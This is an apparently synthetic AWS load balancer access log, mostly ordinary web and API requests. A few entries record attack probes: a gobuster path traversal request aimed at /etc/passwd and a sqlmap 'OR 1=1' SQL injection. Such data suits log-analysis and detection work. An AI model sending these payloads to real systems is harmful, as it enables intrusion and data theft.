arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba51-466ad4f5d71243ba8e17bcb2" "staging-alb.example.com" "-" 0 2024-11-01T00:11:45.102358Z "forward" "-" "-" "105.24.99.65:8080" "302" "-" "-" +https 2024-11-01T00:11:45.725693Z prod-web-alb 186.132.185.115:29378 10.0.220.32:443 0.034834 0.440344 0.074613 200 200 560 4014 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba51-14bd971acbd94784b9fd5872" "prod-web-alb.example.com" "-" 4 2024-11-01T00:11:45.725693Z "forward" "-" "-" "10.0.220.32:443" "200" "-" "-" +https 2024-11-01T00:11:46.606620Z prod-web-alb 12.104.200.143:64940 10.0.25.162:443 0.017311 0.023279 0.003429 404 404 182 10543 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba52-aa965358caf04765a7e59347" "prod-web-alb.example.com" "-" 6 2024-11-01T00:11:46.606620Z "forward" "-" "-" "10.0.25.162:443" "404" "-" "-" +http 2024-11-01T00:11:47.256319Z staging-alb 143.202.84.57:19234 31.236.85.108:443 0.122149 0.106197 0.079361 200 200 30 4005 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba53-8ee5fe2327f549e1838f56ff" "staging-alb.example.com" "-" 1 2024-11-01T00:11:47.256319Z "forward" "-" "-" "31.236.85.108:443" "200" "-" "-" +https 2024-11-01T00:11:48.829162Z prod-web-alb 226.152.104.120:57586 10.0.37.12:443 0.015263 0.161761 0.064886 200 200 74 476 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba54-f7b90b9b9e58409699db5af2" "-" "-" 7 2024-11-01T00:11:48.829162Z "forward" "-" "-" "10.0.37.12:443" "200" "-" "-" +https 2024-11-01T00:11:49.316436Z prod-web-alb 101.115.10.226:59543 10.0.53.224:443 0.049245 0.129185 0.069177 301 301 865 234 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba55-9aacec39693541c9a3a91e41" "prod-web-alb.example.com" "-" 6 2024-11-01T00:11:49.316436Z "forward" "-" "-" "10.0.53.224:443" "301" "-" "-" +https 2024-11-01T00:11:51.045549Z prod-api-alb 141.199.77.217:61506 10.0.209.132:443 0.080361 0.460580 0.045320 200 200 46 7942 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba57-735acf21ecdc4e3eba144907" "prod-api-alb.example.com" "-" 1 2024-11-01T00:11:51.045549Z "forward" "-" "-" "10.0.209.132:443" "200" "-" "-" +https 2024-11-01T00:11:51.355870Z prod-api-alb 22.109.150.102:45010 10.0.77.156:443 0.085015 0.228524 0.082465 200 200 414 4235 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba57-4e47c7c3b59548858c776ba2" "prod-api-alb.example.com" "-" 1 2024-11-01T00:11:51.355870Z "forward" "-" "-" "10.0.77.156:443" "200" "-" "-" +http 2024-11-01T00:11:52.821639Z staging-alb 193.27.228.156:61931 225.186.117.216:8080 0.036982 0.317230 0.034910 403 403 50 12132 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba58-a655c1226ebc4d3eb27d1936" "-" "-" 6 2024-11-01T00:11:52.821639Z "forward" "-" "-" "225.186.117.216:8080" "403" "-" "-" +https 2024-11-01T00:11:54.542745Z prod-web-alb 253.34.121.54:55829 10.0.115.178:443 0.023842 0.307675 0.041139 404 404 43 13297 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba5a-7b0ce7f7cf3b4b36b21b1aaa" "prod-web-alb.example.com" "-" 6 2024-11-01T00:11:54.542745Z "forward" "-" "-" "10.0.115.178:443" "404" "-" "-" +https 2024-11-01T00:11:56.382036Z staging-alb 92.57.198.119:31919 251.11.178.10:8080 0.143406 0.042435 0.094328 200 200 208 14064 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba5c-1d4b3c3298614a978f1afe1a" "staging-alb.example.com" "-" 10 2024-11-01T00:11:56.382036Z "forward" "-" "-" "251.11.178.10:8080" "200" "-" "-" +https 2024-11-01T00:11:56.652239Z prod-web-alb 84.149.75.226:53561 10.0.159.184:443 0.055389 0.118670 0.030219 301 301 849 12090 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba5c-e7834ad5aebf40c3b17dba19" "prod-web-alb.example.com" "-" 10 2024-11-01T00:11:56.652239Z "forward" "-" "-" "10.0.159.184:443" "301" "-" "-" +https 2024-11-01T00:11:57.607900Z prod-api-alb 122.3.163.180:35150 10.0.43.82:443 0.079921 0.274014 0.040622 200 200 926 9337 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba5d-a5c643beca09411fa7cd64bf" "prod-api-alb.example.com" "-" 2 2024-11-01T00:11:57.607900Z "forward" "-" "-" "10.0.43.82:443" "200" "-" "-" +https 2024-11-01T00:11:58.495173Z prod-web-alb 177.141.92.60:41362 10.0.153.88:443 0.086895 0.205046 0.053607 200 200 535 10482 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba5e-215edb791ae64ad88bb004be" "prod-web-alb.example.com" "-" 3 2024-11-01T00:11:58.495173Z "forward" "-" "-" "10.0.153.88:443" "200" "-" "-" +https 2024-11-01T00:12:00.335034Z staging-alb 238.112.162.36:26520 25.69.152.199:8080 0.143573 0.230802 0.124733 200 200 485 9579 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba60-0f43a5ce540e4fda8353bcf5" "staging-alb.example.com" "-" 2 2024-11-01T00:12:00.335034Z "forward" "-" "-" "25.69.152.199:8080" "200" "-" "-" +https 2024-11-01T00:12:00.482161Z prod-web-alb 100.149.131.115:22784 10.0.147.201:443 0.006998 0.417523 0.066175 302 302 705 3726 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba60-7a17f5c021de42f58c2797b5" "prod-web-alb.example.com" "-" 7 2024-11-01T00:12:00.482161Z "forward" "-" "-" "10.0.147.201:443" "302" "-" "-" +https 2024-11-01T00:12:00.842961Z prod-web-alb 97.41.252.9:28425 10.0.137.38:443 0.076660 0.432932 0.050885 200 200 449 8748 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba60-e82def6f6ff3433d9b3133e1" "prod-web-alb.example.com" "-" 6 2024-11-01T00:12:00.842961Z "forward" "-" "-" "10.0.137.38:443" "200" "-" "-" +http 2024-11-01T00:12:02.290436Z staging-alb 80.13.164.187:31410 9.187.43.46:443 0.094900 0.707037 0.023486 302 302 417 3697 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba62-9e9a2f71f0ba46cabc15691e" "staging-alb.example.com" "-" 9 2024-11-01T00:12:02.290436Z "forward" "-" "-" "9.187.43.46:443" "302" "-" "-" +https 2024-11-01T00:12:03.015986Z prod-api-alb 223.89.49.221:39407 10.0.147.179:443 0.038954 0.364398 0.043080 200 200 239 5699 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba63-dda3840f910e4f05b5c4b1ac" "prod-api-alb.example.com" "-" 4 2024-11-01T00:12:03.015986Z "forward" "-" "-" "10.0.147.179:443" "200" "-" "-" +https 2024-11-01T00:12:04.390167Z prod-web-alb 107.220.74.238:30212 10.0.60.224:443 0.011168 0.271439 0.096574 200 200 410 3815 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba64-cb89469faeb14144af8f2bf4" "prod-web-alb.example.com" "-" 0 2024-11-01T00:12:04.390167Z "forward" "-" "-" "10.0.60.224:443" "200" "-" "-" +http 2024-11-01T00:12:06.247454Z staging-alb 106.18.21.79:25351 216.236.163.99:80 0.034166 0.245527 0.124133 301 301 891 3525 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba66-09418203482c4378a6359bdb" "-" "-" 0 2024-11-01T00:12:06.247454Z "forward" "-" "-" "216.236.163.99:80" "301" "-" "-" +https 2024-11-01T00:12:07.359877Z staging-alb 217.54.234.22:49322 130.191.68.97:80 0.107496 0.076427 0.101888 200 200 885 8024 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba67-1f4d9100483742308eac6c8e" "staging-alb.example.com" "-" 3 2024-11-01T00:12:07.359877Z "forward" "-" "-" "130.191.68.97:80" "200" "-" "-" +https 2024-11-01T00:12:07.982715Z prod-api-alb 96.171.191.22:56393 10.0.231.71:443 0.040650 0.066985 0.089230 302 302 207 6246 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba67-a4cb7be380c642caa9301904" "prod-api-alb.example.com" "-" 4 2024-11-01T00:12:07.982715Z "forward" "-" "-" "10.0.231.71:443" "302" "-" "-" +https 2024-11-01T00:12:08.985527Z staging-alb 45.155.205.66:61759 154.159.58.221:80 0.025484 0.257911 0.075014 404 404 755 7328 "PUT /metrics HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba68-c64dca574e1d4b479c89349c" "-" "-" 4 2024-11-01T00:12:08.985527Z "forward" "-" "-" "154.159.58.221:80" "404" "-" "-" +https 2024-11-01T00:12:10.352252Z prod-api-alb 214.164.244.35:13050 10.0.213.97:443 0.037982 0.082510 0.012613 200 200 530 10291 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba6a-3636a9bd941a419a9cba72fe" "prod-api-alb.example.com" "-" 3 2024-11-01T00:12:10.352252Z "forward" "-" "-" "10.0.213.97:443" "200" "-" "-" +https 2024-11-01T00:12:11.048570Z staging-alb 11.136.110.235:31978 51.19.53.199:8080 0.025452 0.323755 0.066981 302 302 619 12407 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba6b-1956b74f7bf14132b67c48ca" "staging-alb.example.com" "-" 8 2024-11-01T00:12:11.048570Z "forward" "-" "-" "51.19.53.199:8080" "302" "-" "-" +https 2024-11-01T00:12:11.512921Z prod-web-alb 38.248.195.208:56846 10.0.253.245:443 0.015754 0.457982 0.079149 200 200 354 9743 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba6b-9ae4e5e6628f4acaa6c4e94a" "prod-web-alb.example.com" "-" 6 2024-11-01T00:12:11.512921Z "forward" "-" "-" "10.0.253.245:443" "200" "-" "-" +http 2024-11-01T00:12:12.984917Z staging-alb 76.23.141.246:44936 189.23.8.247:8080 0.029590 0.653503 0.051286 200 200 600 4032 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba6c-749280b7648c4179a813f12e" "staging-alb.example.com" "-" 3 2024-11-01T00:12:12.984917Z "forward" "-" "-" "189.23.8.247:8080" "200" "-" "-" +https 2024-11-01T00:12:13.995357Z prod-api-alb 18.28.122.102:57395 10.0.77.136:443 0.013182 0.202330 0.062556 302 302 643 5841 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba6d-64612c27f11e42c9b2c0ebf6" "prod-api-alb.example.com" "-" 3 2024-11-01T00:12:13.995357Z "forward" "-" "-" "10.0.77.136:443" "302" "-" "-" +https 2024-11-01T00:12:15.076798Z prod-web-alb 190.125.168.21:50417 10.0.71.214:443 0.005898 0.358365 0.030212 200 200 561 6067 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba6f-578edbb7c11d433c830e3614" "prod-web-alb.example.com" "-" 0 2024-11-01T00:12:15.076798Z "forward" "-" "-" "10.0.71.214:443" "200" "-" "-" +https 2024-11-01T00:12:16.429851Z staging-alb 166.225.162.9:49942 235.149.165.61:443 0.137185 0.536838 0.060351 301 301 759 4722 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba70-201b20d407554f34a2b24a34" "staging-alb.example.com" "-" 8 2024-11-01T00:12:16.429851Z "forward" "-" "-" "235.149.165.61:443" "301" "-" "-" +https 2024-11-01T00:12:16.669534Z staging-alb 199.210.20.106:20764 10.218.159.248:8080 0.045127 0.496722 0.139166 404 404 408 242 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba70-35119f10e43a4bfe9621745d" "staging-alb.example.com" "-" 8 2024-11-01T00:12:16.669534Z "forward" "-" "-" "10.218.159.248:8080" "404" "-" "-" +https 2024-11-01T00:12:18.506859Z prod-api-alb 46.235.50.89:60658 10.0.184.223:443 0.062761 0.108050 0.032397 302 302 522 14170 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba72-b8d9e3783a52445fbfa198ad" "prod-api-alb.example.com" "-" 5 2024-11-01T00:12:18.506859Z "forward" "-" "-" "10.0.184.223:443" "302" "-" "-" +https 2024-11-01T00:12:20.019273Z prod-web-alb 80.64.185.70:21992 10.0.143.59:443 0.007545 0.000727 0.020133 302 302 89 14324 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba74-f5e2f84e78b045999102f3eb" "prod-web-alb.example.com" "-" 2 2024-11-01T00:12:20.019273Z "forward" "-" "-" "10.0.143.59:443" "302" "-" "-" +http 2024-11-01T00:12:20.563865Z staging-alb 220.170.61.248:13834 209.111.176.55:8080 0.004163 0.422166 0.078940 200 200 540 741 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba74-1a6350123b414e55a2429c8d" "staging-alb.example.com" "-" 9 2024-11-01T00:12:20.563865Z "forward" "-" "-" "209.111.176.55:8080" "200" "-" "-" +https 2024-11-01T00:12:22.158723Z prod-api-alb 145.97.245.117:58267 10.0.251.45:443 0.003483 0.091992 0.092294 302 302 534 3259 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba76-4e898736aa6949778d538345" "prod-api-alb.example.com" "-" 9 2024-11-01T00:12:22.158723Z "forward" "-" "-" "10.0.251.45:443" "302" "-" "-" +https 2024-11-01T00:12:23.227122Z prod-api-alb 178.226.15.53:48007 10.0.255.93:443 0.062350 0.382187 0.056284 200 200 544 9468 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba77-ffdad4d9f9c0499490c96871" "prod-api-alb.example.com" "-" 4 2024-11-01T00:12:23.227122Z "forward" "-" "-" "10.0.255.93:443" "200" "-" "-" +https 2024-11-01T00:12:24.817530Z staging-alb 211.1.232.21:10774 29.122.32.8:80 0.064403 0.573273 0.080952 301 301 270 6626 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba78-fe412ad531824143b6d06e76" "staging-alb.example.com" "-" 7 2024-11-01T00:12:24.817530Z "forward" "-" "-" "29.122.32.8:80" "301" "-" "-" +http 2024-11-01T00:12:25.844920Z staging-alb 204.80.20.104:33146 251.117.157.253:8080 0.054110 0.707900 0.079859 200 200 638 10489 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba79-7faa427718a34d488a10e20d" "staging-alb.example.com" "-" 6 2024-11-01T00:12:25.844920Z "forward" "-" "-" "251.117.157.253:8080" "200" "-" "-" +https 2024-11-01T00:12:26.081923Z prod-api-alb 21.31.53.191:40792 10.0.35.130:443 0.049779 0.025316 0.085173 301 301 316 4084 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba7a-1566215de71d4076821e42a4" "prod-api-alb.example.com" "-" 3 2024-11-01T00:12:26.081923Z "forward" "-" "-" "10.0.35.130:443" "301" "-" "-" +https 2024-11-01T00:12:27.714982Z prod-web-alb 6.7.254.234:16583 10.0.232.12:443 0.093475 0.405955 0.020671 301 301 726 13435 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba7b-a2fa0f1add4f48b28febc8a6" "-" "-" 0 2024-11-01T00:12:27.714982Z "forward" "-" "-" "10.0.232.12:443" "301" "-" "-" +https 2024-11-01T00:12:28.987934Z prod-web-alb 185.181.118.169:63920 10.0.107.200:443 0.039840 0.116630 0.004779 500 500 748 6879 "POST /users?id=1 OR 1=1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba7c-3089c1acc50041b6a53e4e4a" "-" "-" 6 2024-11-01T00:12:28.987934Z "forward" "-" "-" "10.0.107.200:443" "500" "-" "-" +https 2024-11-01T00:12:29.260388Z prod-api-alb 90.79.237.169:59507 10.0.217.115:443 0.017947 0.461920 0.016812 302 302 108 9173 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba7d-da0c7db038fa485f90fbb075" "prod-api-alb.example.com" "-" 10 2024-11-01T00:12:29.260388Z "forward" "-" "-" "10.0.217.115:443" "302" "-" "-" +https 2024-11-01T00:12:30.016760Z prod-api-alb 148.192.236.83:48199 10.0.148.53:443 0.023854 0.404802 0.051086 200 200 567 10992 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba7e-ec27e11494644eaebb3b11c3" "prod-api-alb.example.com" "-" 5 2024-11-01T00:12:30.016760Z "forward" "-" "-" "10.0.148.53:443" "200" "-" "-" +https 2024-11-01T00:12:31.303853Z prod-api-alb 47.233.67.229:25133 10.0.177.6:443 0.049589 0.250792 0.077318 200 200 544 7463 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba7f-f16b1506518e44f699711f9d" "prod-api-alb.example.com" "-" 2 2024-11-01T00:12:31.303853Z "forward" "-" "-" "10.0.177.6:443" "200" "-" "-" +https 2024-11-01T00:12:32.043730Z prod-api-alb 54.246.11.180:64941 10.0.94.105:443 0.046882 0.409821 0.060866 200 200 209 7709 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba80-4693c7bf7236442bb4ff77d6" "prod-api-alb.example.com" "-" 3 2024-11-01T00:12:32.043730Z "forward" "-" "-" "10.0.94.105:443" "200" "-" "-" +https 2024-11-01T00:12:33.043507Z staging-alb 74.241.29.130:19140 68.165.110.104:443 0.069130 0.004445 0.027907 404 404 891 13352 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba81-b1059e2a1ef24e3292d8915a" "staging-alb.example.com" "-" 1 2024-11-01T00:12:33.043507Z "forward" "-" "-" "68.165.110.104:443" "404" "-" "-" +https 2024-11-01T00:12:33.146190Z prod-api-alb 76.235.101.8:48371 10.0.33.193:443 0.090790 0.361408 0.026997 200 200 199 8960 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba81-f70363e72d2645c08bfa0c55" "prod-api-alb.example.com" "-" 0 2024-11-01T00:12:33.146190Z "forward" "-" "-" "10.0.33.193:443" "200" "-" "-" +https 2024-11-01T00:12:34.704765Z prod-api-alb 88.111.177.91:15057 10.0.206.209:443 0.082377 0.045203 0.036530 200 200 726 493 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba82-c7beff592a1d4cc6a1030aa3" "prod-api-alb.example.com" "-" 0 2024-11-01T00:12:34.704765Z "forward" "-" "-" 